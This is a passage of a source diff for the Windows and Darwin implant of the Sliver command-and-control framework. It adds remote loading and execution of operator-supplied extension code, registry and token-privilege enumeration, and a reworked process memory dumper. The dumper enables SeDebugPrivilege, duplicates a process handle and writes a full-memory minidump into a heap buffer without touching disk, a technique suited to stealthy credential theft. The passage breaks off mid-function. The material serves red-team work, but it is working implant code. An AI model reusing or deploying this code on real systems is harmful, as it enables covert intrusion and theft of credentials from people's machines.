 		sliverpb.MsgPollIntervalReq:      pollIntervalHandler,
 		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
 
+		// Extensions
+		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
+		sliverpb.MsgCallExtensionReq:     callExtensionHandler,
+		sliverpb.MsgListExtensionsReq:    listExtensionsHandler,
+
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific
 		sliverpb.MsgWGStartPortFwdReq:   wgStartPortfwdHandler,
@@ -73,3 +81,70 @@ func GetSystemHandlers() map[uint32]RPCHandler {
 func GetSystemPivotHandlers() map[uint32]PivotHandler {
 	return darwinPivotHandlers
 }
+
+// Extensions
+
+func registerExtensionHandler(data []byte, resp RPCResponse) {
+	registerReq := &sliverpb.RegisterExtensionReq{}
+
+	err := proto.Unmarshal(data, registerReq)
+	if err != nil {
+		return
+	}
+
+	ext := extension.NewDarwinExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
+	extension.Add(ext)
+	err = ext.Load()
+	registerResp := &sliverpb.RegisterExtension{
+		Response: &commonpb.Response{},
+	}
+	if err != nil {
+		registerResp.Response.Err = err.Error()
+	}
+	data, err = proto.Marshal(registerResp)
+	resp(data, err)
+}
+
+func callExtensionHandler(data []byte, resp RPCResponse) {
+	callReq := &sliverpb.CallExtensionReq{}
+
+	err := proto.Unmarshal(data, callReq)
+	if err != nil {
+		return
+	}
+
+	callResp := &sliverpb.CallExtension{
+		Response: &commonpb.Response{},
+	}
+	gotOutput := false
+	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
+		gotOutput = true
+		callResp.Output = out
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	})
+	// Only send back synchronously if there was an error
+	if err != nil || !gotOutput {
+		if err != nil {
+			callResp.Response.Err = err.Error()
+		}
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	}
+}
+
+func listExtensionsHandler(data []byte, resp RPCResponse) {
+	lstReq := &sliverpb.ListExtensionsReq{}
+	err := proto.Unmarshal(data, lstReq)
+	if err != nil {
+		return
+	}
+
+	exts := extension.List()
+	lstResp := &sliverpb.ListExtensions{
+		Response: &commonpb.Response{},
+		Names:    exts,
+	}
+	data, err = proto.Marshal(lstResp)
+	resp(data, err)
+}

implant/sliver/handlers/handlers_windows.go

@@ -28,6 +28,7 @@ import (
 	"os/exec"
 	"syscall"
 
+	"github.com/bishopfox/sliver/implant/sliver/extension"
 	"github.com/bishopfox/sliver/implant/sliver/pivots"
 	"github.com/bishopfox/sliver/implant/sliver/priv"
 	"github.com/bishopfox/sliver/implant/sliver/registry"
@@ -37,8 +38,8 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 
-	"github.com/golang/protobuf/proto"
 	"golang.org/x/sys/windows"
+	"google.golang.org/protobuf/proto"
 )
 
 var (
@@ -61,18 +62,21 @@ var (
 		sliverpb.MsgSetEnvReq:                setEnvHandler,
 		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
 		sliverpb.MsgExecuteTokenReq:          executeTokenHandler,
+		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
 
 		// Platform specific
-		sliverpb.MsgIfconfigReq:          ifconfigHandler,
-		sliverpb.MsgScreenshotReq:        screenshotHandler,
-		sliverpb.MsgSideloadReq:          sideloadHandler,
-		sliverpb.MsgNetstatReq:           netstatHandler,
-		sliverpb.MsgMakeTokenReq:         makeTokenHandler,
-		sliverpb.MsgPsReq:                psHandler,
-		sliverpb.MsgTerminateReq:         terminateHandler,
-		sliverpb.MsgRegistryReadReq:      regReadHandler,
-		sliverpb.MsgRegistryWriteReq:     regWriteHandler,
-		sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
+		sliverpb.MsgIfconfigReq:            ifconfigHandler,
+		sliverpb.MsgScreenshotReq:          screenshotHandler,
+		sliverpb.MsgSideloadReq:            sideloadHandler,
+		sliverpb.MsgNetstatReq:             netstatHandler,
+		sliverpb.MsgMakeTokenReq:           makeTokenHandler,
+		sliverpb.MsgPsReq:                  psHandler,
+		sliverpb.MsgTerminateReq:           terminateHandler,
+		sliverpb.MsgRegistryReadReq:        regReadHandler,
+		sliverpb.MsgRegistryWriteReq:       regWriteHandler,
+		sliverpb.MsgRegistryCreateKeyReq:   regCreateKeyHandler,
+		sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
+		sliverpb.MsgRegistryListValuesReq:  regValuesListHandler,
 
 		// Generic
 		sliverpb.MsgPing:                 pingHandler,
@@ -88,6 +92,11 @@ var (
 		sliverpb.MsgPollIntervalReq:      pollIntervalHandler,
 		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
 
+		// Extensions
+		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
+		sliverpb.MsgCallExtensionReq:     callExtensionHandler,
+		sliverpb.MsgListExtensionsReq:    listExtensionsHandler,
+
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific
 		sliverpb.MsgWGStartPortFwdReq:   wgStartPortfwdHandler,
@@ -493,3 +502,154 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
 	data, err = proto.Marshal(createResp)
 	resp(data, err)
 }
+
+func regSubKeysListHandler(data []byte, resp RPCResponse) {
+	listReq := &sliverpb.RegistrySubKeyListReq{}
+	err := proto.Unmarshal(data, listReq)
+	if err != nil {
+		return
+	}
+	subKeys, err := registry.ListSubKeys(listReq.Hostname, listReq.Hive, listReq.Path)
+	regListResp := &sliverpb.RegistrySubKeyList{
+		Response: &commonpb.Response{},
+	}
+	if err != nil {
+		regListResp.Response.Err = err.Error()
+	} else {
+		regListResp.Subkeys = subKeys
+	}
+	data, err = proto.Marshal(regListResp)
+	resp(data, err)
+}
+
+func regValuesListHandler(data []byte, resp RPCResponse) {
+	listReq := &sliverpb.RegistryListValuesReq{}
+	err := proto.Unmarshal(data, listReq)
+	if err != nil {
+		return
+	}
+	regValues, err := registry.ListValues(listReq.Hostname, listReq.Hive, listReq.Path)
+	regListResp := &sliverpb.RegistryValuesList{
+		Response: &commonpb.Response{},
+	}
+	if err != nil {
+		regListResp.Response.Err = err.Error()
+	} else {
+		regListResp.ValueNames = regValues
+	}
+	data, err = proto.Marshal(regListResp)
+	resp(data, err)
+}
+
+func getPrivsHandler(data []byte, resp RPCResponse) {
+	createReq := &sliverpb.GetPrivsReq{}
+
+	err := proto.Unmarshal(data, createReq)
+	if err != nil {
+		return
+	}
+
+	privsInfo, integrity, processName, err := priv.GetPrivs()
+
+	response_data := make([]*sliverpb.WindowsPrivilegeEntry, len(privsInfo))
+
+	/*
+		Translate the PrivilegeInfo structs into
+		sliverpb.WindowsPrivilegeEntry structs and put them in the data
+		that will go back to the server / client
+	*/
+	for index, entry := range privsInfo {
+		var currentEntry sliverpb.WindowsPrivilegeEntry
+
+		currentEntry.Name = entry.Name
+		currentEntry.Description = entry.Description
+		currentEntry.Enabled = entry.Enabled
+		currentEntry.EnabledByDefault = entry.EnabledByDefault
+		currentEntry.Removed = entry.Removed
+		currentEntry.UsedForAccess = entry.UsedForAccess
+
+		response_data[index] = &currentEntry
+	}
+
+	// Package up the response
+	getPrivsResp := &sliverpb.GetPrivs{
+		PrivInfo:         response_data,
+		ProcessIntegrity: integrity,
+		ProcessName:      processName,
+		Response:         &commonpb.Response{},
+	}
+
+	if err != nil {
+		getPrivsResp.Response.Err = err.Error()
+	}
+
+	data, err = proto.Marshal(getPrivsResp)
+	resp(data, err)
+}
+
+// Extensions
+
+func registerExtensionHandler(data []byte, resp RPCResponse) {
+	registerReq := &sliverpb.RegisterExtensionReq{}
+
+	err := proto.Unmarshal(data, registerReq)
+	if err != nil {
+		return
+	}
+
+	ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
+	extension.Add(ext)
+	err = ext.Load()
+	registerResp := &sliverpb.RegisterExtension{
+		Response: &commonpb.Response{},
+	}
+	if err != nil {
+		registerResp.Response.Err = err.Error()
+	}
+	data, err = proto.Marshal(registerResp)
+	resp(data, err)
+}
+
+func callExtensionHandler(data []byte, resp RPCResponse) {
+	callReq := &sliverpb.CallExtensionReq{}
+
+	err := proto.Unmarshal(data, callReq)
+	if err != nil {
+		return
+	}
+
+	callResp := &sliverpb.CallExtension{
+		Response: &commonpb.Response{},
+	}
+	gotOutput := false
+	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
+		gotOutput = true
+		callResp.Output = out
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	})
+	// Only send back synchronously if there was an error
+	if err != nil || !gotOutput {
+		if err != nil {
+			callResp.Response.Err = err.Error()
+		}
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	}
+}
+
+func listExtensionsHandler(data []byte, resp RPCResponse) {
+	lstReq := &sliverpb.ListExtensionsReq{}
+	err := proto.Unmarshal(data, lstReq)
+	if err != nil {
+		return
+	}
+
+	exts := extension.List()
+	lstResp := &sliverpb.ListExtensions{
+		Response: &commonpb.Response{},
+		Names:    exts,
+	}
+	data, err = proto.Marshal(lstResp)
+	resp(data, err)
+}

implant/sliver/handlers/pivot-handlers.go

@@ -29,7 +29,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 var (

implant/sliver/handlers/rpc-handlers.go

@@ -37,7 +37,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 // ------------------------------------------------------------------------------------------

implant/sliver/handlers/special-handlers.go

@@ -34,7 +34,7 @@ import (
 	// {{end}}
 	// {{end}}
 
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 var specialHandlers = map[uint32]SpecialHandler{

implant/sliver/handlers/tun-handlers.go

@@ -34,7 +34,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 const (

implant/sliver/hostuuid/uuid_windows.go

@@ -21,23 +21,35 @@ package hostuuid
 */
 
 import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
 	"golang.org/x/sys/windows/registry"
 )
 
 // Stored Format: {U-U-I-D}
-var uuid_keypath = "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig"
-var uuid_key = "LastConfig"
+var uuidKeyPath = "SYSTEM\\HardwareConfig"
+var uuidKey = "LastConfig"
 
 func GetUUID() string {
-	key, err := registry.OpenKey(registry.CURRENT_USER, uuid_keypath, registry.QUERY_VALUE)
-	if err != nil {
-		return ""
-	}
+	var uuidStr string
+	var err error
 
-	str, _, err := key.GetStringValue(uuid_key)
-	if err != nil {
-		return ""
+	key, err := registry.OpenKey(registry.LOCAL_MACHINE, uuidKeyPath, registry.QUERY_VALUE)
+	if err == nil {
+		uuidStr, _, err = key.GetStringValue(uuidKey)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Failed to read reg key string value: %s", err)
+			// {{end}}
+			return ""
+		}
+		return uuidStr[1:37]
+	} else {
+		// {{if .Config.Debug}}
+		log.Printf("Failed to read reg key: %s", err)
+		// {{end}}
 	}
-
-	return str[1:37]
+	return ""
 }

implant/sliver/pivots/named-pipe_windows.go

@@ -32,7 +32,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/lesnuages/go-winio"
 
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 func StartNamedPipeListener(pipeName string) error {

implant/sliver/pivots/pivots.go

@@ -29,7 +29,7 @@ import (
 
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 const (

implant/sliver/pivots/tcp.go

@@ -29,7 +29,7 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/transports"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 
-	"github.com/golang/protobuf/proto"
+	"google.golang.org/protobuf/proto"
 )
 
 // StartTCPListener - Start a TCP listener

implant/sliver/priv/priv_windows.go

@@ -26,6 +26,8 @@ import (
 	"log"
 
 	// {{end}}
+	"bytes"
+	"encoding/binary"
 	"fmt"
 	"os/exec"
 	"runtime"
@@ -40,9 +42,22 @@ import (
 )
 
 const (
-	THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
+	THREAD_ALL_ACCESS             = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
+	SECURITY_MANDATORY_LOW_RID    = 0x00001000
+	SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
+	SECURITY_MANDATORY_HIGH_RID   = 0x00003000
+	SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
 )
 
+type PrivilegeInfo struct {
+	Name             string
+	Description      string
+	Enabled          bool
+	EnabledByDefault bool
+	Removed          bool
+	UsedForAccess    bool
+}
+
 var CurrentToken windows.Token
 
 func SePrivEnable(s string) error {
@@ -328,3 +343,255 @@ func GetSystem(data []byte, hostingProcess string) (err error) {
 	}
 	return
 }
+
+func getProcessIntegrityLevel(processToken windows.Token) (string, error) {
+	// A place to put the size of the token integrity information
+	var tokenIntegrityBufferSize uint32
+
+	// Determine the integrity of the process
+	windows.GetTokenInformation(processToken, windows.TokenIntegrityLevel, nil, 0, &tokenIntegrityBufferSize)
+
+	if tokenIntegrityBufferSize < 4 {
+		// {{if .Config.Debug}}
+		log.Println("TokenIntegrityBuffer is too small (must be at least 4 bytes)")
+		// {{end}}
+		return "Unknown", nil
+	}
+
+	tokenIntegrityBuffer := make([]byte, tokenIntegrityBufferSize)
+
+	err := windows.GetTokenInformation(processToken,
+		windows.TokenIntegrityLevel,
+		&tokenIntegrityBuffer[0],
+		tokenIntegrityBufferSize,
+		&tokenIntegrityBufferSize,
+	)
+
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("Error in call to GetTokenInformation (integrity): ", err)
+		// {{end}}
+		return "", err
+	}
+
+	/*
+		When calling GetTokenInformation with a type of TokenIntegrityLevel, the structure we get back
+		is a TOKEN_MANDATORY_LABEL (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label)
+		which has one SID_AND_ATTRIBUTES structure (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes)
+
+		We need the last 4 bytes (uint32) from the structure because that contains the attributes.  The attributes
+		tell us what privilege level we are operating at.
+	*/
+
+	var privilegeLevel uint32 = binary.LittleEndian.Uint32(tokenIntegrityBuffer[tokenIntegrityBufferSize-4:])
+
+	if privilegeLevel < SECURITY_MANDATORY_LOW_RID {
+		return "Untrusted", nil
+	} else if privilegeLevel < SECURITY_MANDATORY_MEDIUM_RID {
+		return "Low", nil
+	} else if privilegeLevel >= SECURITY_MANDATORY_MEDIUM_RID && privilegeLevel < SECURITY_MANDATORY_HIGH_RID {
+		return "Medium", nil
+	} else if privilegeLevel >= SECURITY_MANDATORY_HIGH_RID {
+		return "High", nil
+	}
+
+	return "Unknown", nil
+}
+
+func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
+	/*
+	   We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
+	   https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegenamew
+	   https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegedisplaynamew
+
+	   Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
+	   mkwinsyscall, so we are good to go.
+
+	   mkwinsyscall -output zsyscalls_windows.go syscalls_windows.go
+	*/
+
+	// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
+	nameBuffer := make([]uint16, 256)
+	nameBufferSize := uint32(len(nameBuffer))
+	displayNameBuffer := make([]uint16, 256)
+	displayNameBufferSize := uint32(len(displayNameBuffer))
+
+	// A blank string for the system name tells the call to use the local machine
+	systemName := ""
+
+	/*
+	  A language ID that gets returned from LookupPrivilegeDisplayNameW
+	  We do not need it for anything, but we still need to provide it
+	*/
+	var langID uint32
+
+	err := syscalls.LookupPrivilegeNameW(systemName, &luid, &nameBuffer[0], &nameBufferSize)
+
+	if err != nil {
+		return "", "", err
+	}
+
+	err = syscalls.LookupPrivilegeDisplayNameW(systemName, &nameBuffer[0], &displayNameBuffer[0], &displayNameBufferSize, &langID)
+
+	if err != nil {
+		// We already got the privilege name, so we might as well return that
+		return syscall.UTF16ToString(nameBuffer), "", err
+	}
+
+	return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
+}
+
+func GetPrivs() ([]PrivilegeInfo, string, string, error) {
+	// A place to store the process token
+	var tokenHandle windows.Token
+
+	// Process integrity
+	var integrity string
+
+	// The current process name
+	var processName string
+
+	// A place to put the size of the token information
+	var tokenInfoBufferSize uint32
+
+	// Get a handle for the current process
+	currentProcHandle, err := windows.GetCurrentProcess()
+
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("Could not get a handle for the current process: ", err)
+		// {{end}}
+		return nil, integrity, processName, err
+	}
+
+	// Get the PID for the current process
+	sessionPID, err := windows.GetProcessId(currentProcHandle)
+
+	// This error is not fatal.  Worst case, we can display the PID from the registered session
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("Could not get PID for current process: ", err)
+		// {{end}}
+	} else {
+		// Get process info for the current PID
+		processInformation, err := ps.FindProcess(int(sessionPID))
+
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Could not get process information for PID %d: %v\n", sessionPID, err)
+			// {{end}}
+		}
+
+		if processInformation != nil {
+			processName = processInformation.Executable()
+		}
+	}
+
+	// Get the process token from the current process
+	err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
+
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("Could not open process token: ", err)
+		// {{end}}
+		return nil, integrity, processName, err
+	}
+
+	// Get the size of the token information buffer so we know how large of a buffer to allocate
+	// This produces an error about a data area passed to the syscall being too small, but
+	// we do not care about that because we just want to know how big of a buffer to make
+	windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
+
+	// Make the buffer and get token information
+	// Using a bytes Buffer so that we can Read from it later
+	tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
+
+	err = windows.GetTokenInformation(tokenHandle,
+		windows.TokenPrivileges,
+		&tokenInfoBuffer.Bytes()[0],
+		uint32(tokenInfoBuffer.Len()),
+		&tokenInfoBufferSize,
+	)
+
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("Error in call to GetTokenInformation (privileges): ", err)
+		// {{end}}
+		return nil, integrity, processName, err
+	}
+
+	// The first 32 bits is the number of privileges in the structure
+	var privilegeCount uint32
+	err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &privilegeCount)
+
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("Could not read the number of privileges from the token information.")
+		// {{end}}
+		return nil, integrity, processName, err
+	}
+
+	/*
+		The remaining bytes contain the privileges themselves
+		LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]
+		Structure of the array: https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-luid_and_attributes
+	*/
+
+	privInfo := make([]PrivilegeInfo, int(privilegeCount))
+
+	for index := 0; index < int(privilegeCount); index++ {
+		// Iterate over the privileges and make sense of them
+		// In case of errors, return what we have so far and the error
+
+		// LUIDs consist of a DWORD and a LONG
+		var luid uint64
+
+		// Attributes are up to 32 one bit flags, so a uint32 is good for that
+		var attributes uint32
+
+		var currentPrivInfo PrivilegeInfo
+
+		// Read the LUID
+		err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &luid)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("Could not read the LUID from the binary stream: ", err)
+			// {{end}}
+			return privInfo, integrity, processName, err
+		}
+
+		// Read the attributes
+		err = binary.Read(tokenInfoBuffer, binary.LittleEndian, &attributes)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("Could not read the attributes from the binary stream: ", err)
+			// {{end}}
+			return privInfo, integrity, processName, err
+		}
+
+		currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Println("Could not get privilege info based on the LUID: ", err)
+			// {{end}}
+			return privInfo, integrity, processName, err
+		}
+
+		// Figure out the attributes
+		currentPrivInfo.EnabledByDefault = (attributes & windows.SE_PRIVILEGE_ENABLED_BY_DEFAULT) > 0
+		currentPrivInfo.UsedForAccess = (attributes & windows.SE_PRIVILEGE_USED_FOR_ACCESS) > 0
+		currentPrivInfo.Enabled = (attributes & windows.SE_PRIVILEGE_ENABLED) > 0
+		currentPrivInfo.Removed = (attributes & windows.SE_PRIVILEGE_REMOVED) > 0
+
+		privInfo[index] = currentPrivInfo
+	}
+
+	// Get the process integrity before we leave
+	integrity, err = getProcessIntegrityLevel(tokenHandle)
+
+	if err != nil {
+		return privInfo, "Could not determine integrity level", processName, err
+	}
+
+	return privInfo, integrity, processName, nil
+}

implant/sliver/procdump/dump_windows.go

@@ -20,8 +20,6 @@ package procdump
 
 import (
 	"fmt"
-	"io/ioutil"
-
 	//{{if .Config.Debug}}
 	"log"
 	//{{end}}
@@ -31,39 +29,87 @@ import (
 	"github.com/bishopfox/sliver/implant/sliver/evasion"
 	// {{end}}
 	// {{end}}
-	"os"
 
+	"bytes"
+	"encoding/binary"
 	"github.com/bishopfox/sliver/implant/sliver/priv"
 	"github.com/bishopfox/sliver/implant/sliver/syscalls"
 	"golang.org/x/sys/windows"
+	"unsafe"
 )
 
 const (
-	PROCESS_ALL_ACCESS = 0x1F0FFF
+	ModuleCallback = iota
+	ThreadCallback
+	ThreadExCallback
+	IncludeThreadCallback
+	IncludeModuleCallback
+	MemoryCallback
+	CancelCallback
+	WriteKernelMinidumpCallback
+	KernelMinidumpStatusCallback
+	RemoveMemoryCallback
+	IncludeVmRegionCallback
+	IoStartCallback
+	IoWriteAllCallback
+	IoFinishCallback
+	ReadMemoryFailureCallback
+	SecondaryFlagsCallback
+	IsProcessSnapshotCallback
+	VmStartCallback
+	VmQueryCallback
+	VmPreReadCallback
+	VmPostReadCallback
+
+	S_FALSE                = 1
+	S_OK                   = 0
+	TRUE                   = 1
+	FALSE                  = 0
+	IncrementSize          = 5 * 1024 * 1024
+	MiniDumpWithFullMemory = 0x00000002
 )
 
+var bytesRead uint32 = 0
+
 type WindowsDump struct {
 	data []byte
 }
 
+type outDump struct {
+	outPtr uintptr
+}
+
 func (d *WindowsDump) Data() []byte {
 	return d.data
 }
 
 func dumpProcess(pid int32) (ProcessDump, error) {
+	var lpTargetHandle windows.Handle
 	res := &WindowsDump{}
 	if err := priv.SePrivEnable("SeDebugPrivilege"); err != nil {
-		return res, fmt.Errorf("Could not set SeDebugPrivilege on", pid)
-	}
-
-	hProc, err := windows.OpenProcess(PROCESS_ALL_ACCESS, false, uint32(pid))
-	if err != nil {
 		return res, err
 	}
-	if hProc != 0 {
-		return minidump(uint32(pid), hProc)
+
+	hProc, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, false, uint32(pid))
+	currentProcHandle, err := windows.GetCurrentProcess()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("GetCurrentProcess failed")
+		// {{end}}
+		return res, err
 	}
-	return res, fmt.Errorf("Could not dump process memory")
+	err = windows.DuplicateHandle(hProc, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Println("DuplicateHandle failed")
+		// {{end}}
+		return res, err
+	}
+
+	if hProc != 0 {
+		return minidump(uint32(pid), lpTargetHandle)
+	}
+	return res, fmt.Errorf("{{if .Config.Debug}}Could not dump process memory{{end}}")
 }
 
 func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
@@ -80,35 +126,188 @@ func minidump(pid uint32, proc windows.Handle) (ProcessDump, error) {
 	}
 	// {{end}}
 	// {{end}}
-	// TODO: find a better place to store the dump file
-	f, err := ioutil.TempFile("", "")
+
+	heapHandle, err := syscalls.GetProcessHeap()
 	if err != nil {
-		//{{if .Config.Debug}}
-		log.Println("Failed to create temp file:", err)
-		//{{end}}
 		return dump, err
 	}
 
+	procMemCounters := syscalls.ProcessMemoryCounters{}
+	sizeOfMemCounters := uint32(unsafe.Sizeof(procMemCounters))
+	err = syscalls.GetProcessMemoryInfo(proc, &procMemCounters, sizeOfMemCounters)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("GetProcessMemoryInfo failed: %s\n", err)
+		// {{end}}
+		return dump, err
+	}
+
+	heapSize := procMemCounters.WorkingSetSize + IncrementSize
+
+	dumpBuffer, err := syscalls.HeapAlloc(heapHandle, 0x00000008, uintptr(heapSize))
 	if err != nil {
 		return dump, err
 	}
-	stdOutHandle := f.Fd()
-	err = syscalls.MiniDumpWriteDump(proc, pid, stdOutHandle, 3, 0, 0, 0)
-	if err == nil {
-		data, err := ioutil.ReadFile(f.Name())
-		dump.data = data
-		if err != nil {
-			//{{if .Config.Debug}}
-			log.Println("ReadFile failed:", err)
-			//{{end}}
-			return dump, err
-		}
-		os.Remove(f.Name())
-	} else {
+
+	outData := outDump{
+		outPtr: dumpBuffer,
+	}
+
+	callbackInfo := MiniDumpCallbackInformation{
+		CallbackRoutine: windows.NewCallback(minidumpCallback),
+		CallbackParam:   uintptr(unsafe.Pointer(&outData)),
+	}
+
+	err = syscalls.MiniDumpWriteDump(
+		proc,
+		pid,
+		0,
+		MiniDumpWithFullMemory,
+		0,
+		0,
+		uintptr(unsafe.Pointer(&callbackInfo)),
+	)
+
+	if err != nil {
 		//{{if .Config.Debug}}
 		log.Println("Minidump syscall failed:", err)
 		//{{end}}
 		return dump, err
 	}
+	outBuff := make([]byte, bytesRead)
+	outBuffAddr := uintptr(unsafe.Pointer(&outBuff[0]))
+	syscalls.RtlCopyMemory(outBuffAddr, outData.outPtr, bytesRead)
+	err = syscalls.HeapFree(heapHandle, 0, outData.outPtr)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("HeapFree failed: \n", err)
+		// {{end}}
+		return dump, err
+	}
+	dump.data = outBuff
 	return dump, nil
 }
+
+type MiniDumpIOCallback struct {
+	Handle      uintptr
+	Offset      uint64
+	Buffer      uintptr
+	BufferBytes uint32
+}
+
+type MiniDumpCallbackInput struct {
+	ProcessId     uint32
+	ProcessHandle uintptr
+	CallbackType  uint32
+	Io            MiniDumpIOCallback
+}
+
+type MiniDumpCallbackOutput struct {
+	Status int32
+}
+
+type MiniDumpCallbackInformation struct {
+	CallbackRoutine uintptr
+	CallbackParam   uintptr
+}
+
+func getCallbackInput(callbackInputPtr uintptr) (*MiniDumpCallbackInput, error) {
+	callbackInput := MiniDumpCallbackInput{}
+	ioCallback := MiniDumpIOCallback{}
+	bufferSize := unsafe.Sizeof(callbackInput)
+	data := make([]byte, bufferSize)
+	dataPtr := uintptr(unsafe.Pointer(&data[0]))
+	syscalls.RtlCopyMemory(dataPtr, callbackInputPtr, uint32(bufferSize))
+	buffReader := bytes.NewReader(data)
+	err := binary.Read(buffReader, binary.LittleEndian, &callbackInput.ProcessId)
+	if err != nil {
+		return nil, err
+	}
+	var procHandle uint64
+	err = binary.Read(buffReader, binary.LittleEndian, &procHandle)
+	if err != nil {
+		return nil, err
+	}
+	callbackInput.ProcessHandle = uintptr(procHandle)
+	err = binary.Read(buffReader, binary.LittleEndian, &callbackInput.CallbackType)
+	if err != nil {
+		return nil, err
+	}
+	var ioHandle uint64
+	err = binary.Read(buffReader, binary.LittleEndian, &ioHandle)
+	if err != nil {
+		return nil, err
+	}
+	ioCallback.Handle = uintptr(ioHandle)
+	err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.Offset)
+	if err != nil {
+		return nil, err
+	}
+	var ioBuffer uint64
+	err = binary.Read(buffReader, binary.LittleEndian, &ioBuffer)
+	if err != nil {
+		return nil, err
+	}
+	ioCallback.Buffer = uintptr(ioBuffer)
+	err = binary.Read(buffReader, binary.LittleEndian, &ioCallback.BufferBytes)
+	if err != nil {
+		return nil, err
+	}
+	callbackInput.Io = ioCallback
+	return &callbackInput, nil
+}
+
+func minidumpCallback(callbackParam uintptr, callbackInputPtr uintptr, callbackOutput *MiniDumpCallbackOutput) uintptr {
+	callbackInput, err := getCallbackInput(callbackInputPtr)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("getCallbackInput failed: %s\n", err.Error())
+		// {{end}}
+		return FALSE
+	}
+	switch callbackInput.CallbackType {
+	case IoStartCallback:
+		callbackOutput.Status = S_FALSE
+	case IoWriteAllCallback:
+		callbackOutput.Status = S_OK
+		outData := (*outDump)(unsafe.Pointer(callbackParam))
+		procHeap, err := syscalls.GetProcessHeap()
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("minidumpCallback GetProcessHeap failed: %s\n", err.Error())
+			// {{end}}
+			return FALSE
+		}
+		currentBuffSize, err := syscalls.HeapSize(procHeap, 0, outData.outPtr)
+		if err != nil {
+			// {{if .Config.Debug}}
